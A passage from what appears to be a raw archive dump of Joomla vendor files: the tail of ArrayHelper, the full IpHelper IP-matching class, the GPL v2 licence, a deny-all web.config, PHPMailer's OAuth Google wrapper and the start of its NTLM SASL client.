$resultValue = $source[$index]; } else { // Just a scalar value. $resultKey = $value; $resultValue = $index; } // The counter tracks how many times a key has been used. if (empty($counter[$resultKey])) { // The first time around we just assign the value to the key. $result[$resultKey] = $resultValue; $counter[$resultKey] = 1; } elseif ($counter[$resultKey] == 1) { // If there is a second time, we convert the value into an array. $result[$resultKey] = array( $result[$resultKey], $resultValue, ); $counter[$resultKey]++; } else { // After the second time, no need to track any more. Just append to the existing array. $result[$resultKey][] = $resultValue; } } unset($counter); return $result; } /** * Utility function to sort an array of objects on a given field * * @param array $a An array of objects * @param mixed $k The key (string) or an array of keys to sort on * @param mixed $direction Direction (integer) or an array of direction to sort in [1 = Ascending] [-1 = Descending] * @param mixed $caseSensitive Boolean or array of booleans to let sort occur case sensitive or insensitive * @param mixed $locale Boolean or array of booleans to let sort occur using the locale language or not * * @return array * * @since 1.0 */ public static function sortObjects(array $a, $k, $direction = 1, $caseSensitive = true, $locale = false) { if (!\is_array($locale) || !\is_array($locale[0])) { $locale = array($locale); } $sortCase = (array) $caseSensitive; $sortDirection = (array) $direction; $key = (array) $k; $sortLocale = $locale; usort( $a, function ($a, $b) use ($sortCase, $sortDirection, $key, $sortLocale) { for ($i = 0, $count = \count($key); $i < $count; $i++) { if (isset($sortDirection[$i])) { $direction = $sortDirection[$i]; } if (isset($sortCase[$i])) { $caseSensitive = $sortCase[$i]; } if (isset($sortLocale[$i])) { $locale = $sortLocale[$i]; } $va = $a->{$key[$i]}; $vb = $b->{$key[$i]}; if ((\is_bool($va) || is_numeric($va)) && (\is_bool($vb) || is_numeric($vb))) { $cmp = $va - $vb; } elseif ($caseSensitive) { $cmp = StringHelper::strcmp($va, $vb, $locale); } else { $cmp = StringHelper::strcasecmp($va, $vb, $locale); } if ($cmp > 0) { return $direction; } if ($cmp < 0) { return -$direction; } } return 0; } ); return $a; } /** * Multidimensional array safe unique test * * @param array $array The array to make unique. * * @return array * * @see https://www.php.net/manual/en/function.array-unique.php * @since 1.0 */ public static function arrayUnique(array $array) { $array = array_map('serialize', $array); $array = array_unique($array); $array = array_map('unserialize', $array); return $array; } /** * An improved array_search that allows for partial matching of strings values in associative arrays. * * @param string $needle The text to search for within the array. * @param array $haystack Associative array to search in to find $needle. * @param boolean $caseSensitive True to search case sensitive, false otherwise. * * @return mixed Returns the matching array $key if found, otherwise false. * * @since 1.0 */ public static function arraySearch($needle, array $haystack, $caseSensitive = true) { foreach ($haystack as $key => $value) { $searchFunc = ($caseSensitive) ? 'strpos' : 'stripos'; if ($searchFunc($value, $needle) === 0) { return $key; } } return false; } /** * Method to recursively convert data to a one dimension array. * * @param array|object $array The array or object to convert. * @param string $separator The key separator. * @param string $prefix Last level key prefix. * * @return array * * @since 1.3.0 * @note As of 2.0, the result will not include the original array structure */ public static function flatten($array, $separator = '.', $prefix = '') { if ($array instanceof \Traversable) { $array = iterator_to_array($array); } elseif (\is_object($array)) { $array = get_object_vars($array); } foreach ($array as $k => $v) { $key = $prefix ? $prefix . $separator . $k : $k; if (\is_object($v) || \is_array($v)) { $array = array_merge($array, static::flatten($v, $separator, $key)); } else { $array[$key] = $v; } } return $array; } } PKÜ�\Pz900(vendor/joomla/utilities/src/IpHelper.phpnu�[���<?php /** * Part of the Joomla Framework Utilities Package * * @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba Ltd. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @note This file has been modified by the Joomla! Project and no longer reflects the original work of its author. */ namespace Joomla\Utilities; /** * IpHelper is a utility class for processing IP addresses * * @since 1.6.0 */ final class IpHelper { /** * The IP address of the current visitor * * @var string * @since 1.6.0 */ private static $ip = null; /** * Should I allow IP overrides through X-Forwarded-For or Client-Ip HTTP headers? * * @var boolean * @since 1.6.0 * @note The default value is false in version 2.0+ */ private static $allowIpOverrides = true; /** * Private constructor to prevent instantiation of this class * * @since 1.6.0 */ private function __construct() { } /** * Get the current visitor's IP address * * @return string * * @since 1.6.0 */ public static function getIp() { if (self::$ip === null) { $ip = static::detectAndCleanIP(); if (!empty($ip) && ($ip != '0.0.0.0') && \function_exists('inet_pton') && \function_exists('inet_ntop')) { $myIP = @inet_pton($ip); if ($myIP !== false) { $ip = inet_ntop($myIP); } } static::setIp($ip); } return self::$ip; } /** * Set the IP address of the current visitor * * @param string $ip The visitor's IP address * * @return void * * @since 1.6.0 */ public static function setIp($ip) { self::$ip = $ip; } /** * Is it an IPv6 IP address? * * @param string $ip An IPv4 or IPv6 address * * @return boolean * * @since 1.6.0 */ public static function isIPv6($ip) { return strpos($ip, ':') !== false; } /** * Checks if an IP is contained in a list of IPs or IP expressions * * @param string $ip The IPv4/IPv6 address to check * @param array|string $ipTable An IP expression (or a comma-separated or array list of IP expressions) to check against * * @return boolean * * @since 1.6.0 */ public static function IPinList($ip, $ipTable = '') { // No point proceeding with an empty IP list if (empty($ipTable)) { return false; } // If the IP list is not an array, convert it to an array if (!\is_array($ipTable)) { if (strpos($ipTable, ',') !== false) { $ipTable = explode(',', $ipTable); $ipTable = array_map('trim', $ipTable); } else { $ipTable = trim($ipTable); $ipTable = array($ipTable); } } // If no IP address is found, return false if ($ip === '0.0.0.0') { return false; } // If no IP is given, return false if (empty($ip)) { return false; } // Sanity check if (!\function_exists('inet_pton')) { return false; } // Get the IP's in_adds representation $myIP = @inet_pton($ip); // If the IP is in an unrecognisable format, quite if ($myIP === false) { return false; } $ipv6 = static::isIPv6($ip); foreach ($ipTable as $ipExpression) { $ipExpression = trim($ipExpression); // Inclusive IP range, i.e. 123.123.123.123-124.125.126.127 if (strstr($ipExpression, '-')) { list($from, $to) = explode('-', $ipExpression, 2); if ($ipv6 && (!static::isIPv6($from) || !static::isIPv6($to))) { // Do not apply IPv4 filtering on an IPv6 address continue; } if (!$ipv6 && (static::isIPv6($from) || static::isIPv6($to))) { // Do not apply IPv6 filtering on an IPv4 address continue; } $from = @inet_pton(trim($from)); $to = @inet_pton(trim($to)); // Sanity check if (($from === false) || ($to === false)) { continue; } // Swap from/to if they're in the wrong order if ($from > $to) { list($from, $to) = array($to, $from); } if (($myIP >= $from) && ($myIP <= $to)) { return true; } } // Netmask or CIDR provided elseif (strstr($ipExpression, '/')) { $binaryip = static::inetToBits($myIP); list($net, $maskbits) = explode('/', $ipExpression, 2); if ($ipv6 && !static::isIPv6($net)) { // Do not apply IPv4 filtering on an IPv6 address continue; } if (!$ipv6 && static::isIPv6($net)) { // Do not apply IPv6 filtering on an IPv4 address continue; } if ($ipv6 && strstr($maskbits, ':')) { // Perform an IPv6 CIDR check if (static::checkIPv6CIDR($myIP, $ipExpression)) { return true; } // If we didn't match it proceed to the next expression continue; } if (!$ipv6 && strstr($maskbits, '.')) { // Convert IPv4 netmask to CIDR $long = ip2long($maskbits); $base = ip2long('255.255.255.255'); $maskbits = 32 - log(($long ^ $base) + 1, 2); } // Convert network IP to in_addr representation $net = @inet_pton($net); // Sanity check if ($net === false) { continue; } // Get the network's binary representation $expectedNumberOfBits = $ipv6 ? 128 : 24; $binarynet = str_pad(static::inetToBits($net), $expectedNumberOfBits, '0', STR_PAD_RIGHT); // Check the corresponding bits of the IP and the network $ipNetBits = substr($binaryip, 0, $maskbits); $netBits = substr($binarynet, 0, $maskbits); if ($ipNetBits === $netBits) { return true; } } else { // IPv6: Only single IPs are supported if ($ipv6) { $ipExpression = trim($ipExpression); if (!static::isIPv6($ipExpression)) { continue; } $ipCheck = @inet_pton($ipExpression); if ($ipCheck === false) { continue; } if ($ipCheck == $myIP) { return true; } } else { // Standard IPv4 address, i.e. 123.123.123.123 or partial IP address, i.e. 123.[123.][123.][123] $dots = 0; if (substr($ipExpression, -1) == '.') { // Partial IP address. Convert to CIDR and re-match foreach (count_chars($ipExpression, 1) as $i => $val) { if ($i == 46) { $dots = $val; } } switch ($dots) { case 1: $netmask = '255.0.0.0'; $ipExpression .= '0.0.0'; break; case 2: $netmask = '255.255.0.0'; $ipExpression .= '0.0'; break; case 3: $netmask = '255.255.255.0'; $ipExpression .= '0'; break; default: $dots = 0; } if ($dots) { $binaryip = static::inetToBits($myIP); // Convert netmask to CIDR $long = ip2long($netmask); $base = ip2long('255.255.255.255'); $maskbits = 32 - log(($long ^ $base) + 1, 2); $net = @inet_pton($ipExpression); // Sanity check if ($net === false) { continue; } // Get the network's binary representation $expectedNumberOfBits = $ipv6 ? 128 : 24; $binarynet = str_pad(static::inetToBits($net), $expectedNumberOfBits, '0', STR_PAD_RIGHT); // Check the corresponding bits of the IP and the network $ipNetBits = substr($binaryip, 0, $maskbits); $netBits = substr($binarynet, 0, $maskbits); if ($ipNetBits === $netBits) { return true; } } } if (!$dots) { $ip = @inet_pton(trim($ipExpression)); if ($ip == $myIP) { return true; } } } } } return false; } /** * Works around the REMOTE_ADDR not containing the user's IP * * @return void * * @since 1.6.0 */ public static function workaroundIPIssues() { $ip = static::getIp(); if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] === $ip) { return; } if (isset($_SERVER['REMOTE_ADDR'])) { $_SERVER['JOOMLA_REMOTE_ADDR'] = $_SERVER['REMOTE_ADDR']; } elseif (\function_exists('getenv')) { if (getenv('REMOTE_ADDR')) { $_SERVER['JOOMLA_REMOTE_ADDR'] = getenv('REMOTE_ADDR'); } } $_SERVER['REMOTE_ADDR'] = $ip; } /** * Should I allow the remote client's IP to be overridden by an X-Forwarded-For or Client-Ip HTTP header? * * @param boolean $newState True to allow the override * * @return void * * @since 1.6.0 */ public static function setAllowIpOverrides($newState) { self::$allowIpOverrides = $newState ? true : false; } /** * Gets the visitor's IP address. * * Automatically handles reverse proxies reporting the IPs of intermediate devices, like load balancers. Examples: * * - https://www.akeebabackup.com/support/admin-tools/13743-double-ip-adresses-in-security-exception-log-warnings.html * - https://stackoverflow.com/questions/2422395/why-is-request-envremote-addr-returning-two-ips * * The solution used is assuming that the last IP address is the external one. * * @return string * * @since 1.6.0 */ protected static function detectAndCleanIP() { $ip = static::detectIP(); if (strstr($ip, ',') !== false || strstr($ip, ' ') !== false) { $ip = str_replace(' ', ',', $ip); $ip = str_replace(',,', ',', $ip); $ips = explode(',', $ip); $ip = ''; while (empty($ip) && !empty($ips)) { $ip = array_shift($ips); $ip = trim($ip); } } else { $ip = trim($ip); } return $ip; } /** * Gets the visitor's IP address * * @return string * * @since 1.6.0 */ protected static function detectIP() { // Normally the $_SERVER superglobal is set if (isset($_SERVER)) { // Do we have an x-forwarded-for HTTP header (e.g. NginX)? if (self::$allowIpOverrides && isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } // Do we have a client-ip header (e.g. non-transparent proxy)? if (self::$allowIpOverrides && isset($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } // Normal, non-proxied server or server behind a transparent proxy if (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } } /* * This part is executed on PHP running as CGI, or on SAPIs which do not set the $_SERVER superglobal * If getenv() is disabled, you're screwed */ if (!\function_exists('getenv')) { return ''; } // Do we have an x-forwarded-for HTTP header? if (self::$allowIpOverrides && getenv('HTTP_X_FORWARDED_FOR')) { return getenv('HTTP_X_FORWARDED_FOR'); } // Do we have a client-ip header? if (self::$allowIpOverrides && getenv('HTTP_CLIENT_IP')) { return getenv('HTTP_CLIENT_IP'); } // Normal, non-proxied server or server behind a transparent proxy if (getenv('REMOTE_ADDR')) { return getenv('REMOTE_ADDR'); } // Catch-all case for broken servers, apparently return ''; } /** * Converts inet_pton output to bits string * * @param string $inet The in_addr representation of an IPv4 or IPv6 address * * @return string * * @since 1.6.0 */ protected static function inetToBits($inet) { if (\strlen($inet) == 4) { $unpacked = unpack('A4', $inet); } else { $unpacked = unpack('A16', $inet); } $unpacked = str_split($unpacked[1]); $binaryip = ''; foreach ($unpacked as $char) { $binaryip .= str_pad(decbin(\ord($char)), 8, '0', STR_PAD_LEFT); } return $binaryip; } /** * Checks if an IPv6 address $ip is part of the IPv6 CIDR block $cidrnet * * @param string $ip The IPv6 address to check, e.g. 21DA:00D3:0000:2F3B:02AC:00FF:FE28:9C5A * @param string $cidrnet The IPv6 CIDR block, e.g. 21DA:00D3:0000:2F3B::/64 * * @return boolean * * @since 1.6.0 */ protected static function checkIPv6CIDR($ip, $cidrnet) { $ip = inet_pton($ip); $binaryip = static::inetToBits($ip); list($net, $maskbits) = explode('/', $cidrnet); $net = inet_pton($net); $binarynet = static::inetToBits($net); $ipNetBits = substr($binaryip, 0, $maskbits); $netBits = substr($binarynet, 0, $maskbits); return $ipNetBits === $netBits; } } PKÜ�\�P�E�Evendor/joomla/utilities/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\VT���vendor/web.confignu�[���<?xml version="1.0"?> <configuration> <system.web> <authorization> <deny users="*" /> </authorization> </system.web> </configuration>PKÜ�\�&A+� � 9vendor/phpmailer/phpmailer/class.phpmaileroauthgoogle.phpnu�[���<?php /** * PHPMailer - PHP email creation and transport class. * PHP Version 5.4 * @package PHPMailer * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2014 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ /** * PHPMailerOAuthGoogle - Wrapper for League OAuth2 Google provider. * @package PHPMailer * @author @sherryl4george * @author Marcus Bointon (@Synchro) <phpmailer@synchromedia.co.uk> * @link https://github.com/thephpleague/oauth2-client */ class PHPMailerOAuthGoogle { private $oauthUserEmail = ''; private $oauthRefreshToken = ''; private $oauthClientId = ''; private $oauthClientSecret = ''; /** * @param string $UserEmail * @param string $ClientSecret * @param string $ClientId * @param string $RefreshToken */ public function __construct( $UserEmail, $ClientSecret, $ClientId, $RefreshToken ) { $this->oauthClientId = $ClientId; $this->oauthClientSecret = $ClientSecret; $this->oauthRefreshToken = $RefreshToken; $this->oauthUserEmail = $UserEmail; } private function getProvider() { return new League\OAuth2\Client\Provider\Google(array( 'clientId' => $this->oauthClientId, 'clientSecret' => $this->oauthClientSecret )); } private function getGrant() { return new \League\OAuth2\Client\Grant\RefreshToken(); } private function getToken() { $provider = $this->getProvider(); $grant = $this->getGrant(); return $provider->getAccessToken($grant, array('refresh_token' => $this->oauthRefreshToken)); } public function getOauth64() { $token = $this->getToken(); return base64_encode("user=" . $this->oauthUserEmail . "\001auth=Bearer " . $token . "\001\001"); } } PKÜ�\ _�"vendor/phpmailer/phpmailer/VERSIONnu�[���5.2.28+joomla1PKÜ�\M���6vendor/phpmailer/phpmailer/extras/ntlm_sasl_client.phpnu�[���<?php /* * ntlm_sasl_client.php * * @(#) $Id: ntlm_sasl_client.php,v 1.3 2004/11/17 08:00:37 mlemos Exp $ * */ define("SASL_NTLM_STATE_START", 0); define("SASL_NTLM_STATE_IDENTIFY_DOMAIN", 1); define("SASL_NTLM_STATE_RESPOND_CHALLENGE", 2); define("SASL_NTLM_STATE_DONE", 3); define("SASL_FAIL", -1); define("SASL_CONTINUE", 1); class ntlm_sasl_client_class { public $credentials = array(); public $state = SASL_NTLM_STATE_START; public function initialize(&$client) { if (!function_exists($function = "mcrypt_encrypt") || !function_exists($function = "mhash") ) { $extensions = array( "mcrypt_encrypt" => "mcrypt", "mhash" => "mhash" ); $client->error = "the extension " . $extensions[$function] . " required by the NTLM SASL client class is not available in this PHP configuration"; return (0); } return (1); } public function ASCIIToUnicode($ascii) { for ($unicode = "", $a = 0; $a < strlen($ascii); $a++) { $unicode .= substr($ascii, $a, 1) . chr(0); } return ($unicode); } public function typeMsg1($domain, $workstation) { $domain_length = strlen($domain); $workstation_length = strlen($workstation); $workstation_offset = 32; $domain_offset = $workstation_offset + $workstation_length; return ( "NTLMSSP\0" . "\x01\x00\x00\x00" . "\x07\x32\x00\x00" . pack("v", $domain_length) . pack("v", $domain_length) . pack("V", $domain_offset) . pack("v", $workstation_length) . pack("v", $workstation_length) . pack("V", $workstation_offset) . $workstation . $domain ); } public function NTLMResponse($challenge, $password) { $unicode = $this->ASCIIToUnicode($password); $md4 = mhash(MHASH_MD4, $unicode); $padded = $md4 . str_repeat(chr(0), 21 - strlen($md4)); $iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB); $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND); for ($response = "", $third = 0; $third < 21; $third += 7) { for ($packed = "", $p = $third; $p < $third + 7; $p++) { $packed .= str_pad(decbin(ord(substr($padded, $p, 1))), 8, "0", STR_PAD_LEFT); } for ($key = "", $p = 0; $p < strlen($packed); $p += 7) { $s = substr($packed, $p, 7); $b = $s . ((substr_count($s, "1") % 2) ? "0" : "1"); $key .= chr(bindec($b)); } $ciphertext = mcrypt_encrypt(MCRYPT_DES, $key, $challenge, MCRYPT_MODE_ECB, $iv); $response .= $ciphertext; } return $response; } public function typeMsg3($ntlm_response, $user, $domain, $workstation) { $domain_unicode = $this->ASCIIToUnicode($domain); $domain_length = strlen($domain_unicode); $domain_offset = 64; $user_unicode = $this->ASCIIToUnicode($user); $user_length = strlen($user_unicode); $user_offset = $domain_offset + $domain_length; $workstation_unicode = $this->ASCIIToUnicode($workstation); $workstation_length = strlen($workstation_unicode); $workstation_offset = $user_offset + $user_length; $lm = ""; $lm_length = strlen($lm); $lm_offset = $workstation_offset + $workstation_length; $ntlm = $ntlm_response; $ntlm_length = strlen($ntlm); $ntlm_offset = $lm_offset + $lm_length; $session = ""; $session_length = strlen($session); $session_offset = $ntlm_offset + $ntlm_length; return ( "NTLMSSP\0" . "\x03\x00\x00\x00" . pack("v", $lm_length) . pack("v", $lm_length) . pack("V", $lm_offset) . pack("v", $ntlm_length) . pack("v", $ntlm_length) . pack("V", $ntlm_offset) . pack("v", $domain_length) . pack("v", $domain_length) . pack("V", $domain_offset) . pack("v", $user_length) . pack("v", $user_length) . pack("V", $user_offset) . pack("v", $workstation_length) . pack("v", $workstation_length) . pack("V", $workstation_offset) . pack("v", $session_length) . pack("v", $session_length) . pack("V", $session_offset) . "\x01\x02\x00\x00" . $domain_unicode . $user_unicode . $workstation_unicode . $lm . $ntlm ); } public function start(&$client, &$message, &$interactions) { if ($this->state != SASL_NTLM_STATE_START) { $client->error = "NTLM authentication state is not at the start"; return (SASL_FAIL); } $this->credentials = array( "user" => "", "password" => "", "realm" => "", "workstation" => "" ); $defaults = array(); $status = $client->GetCredentials($this->credentials, $defaults, $interactions); if ($status == SASL_CONTINUE) { $this->state = 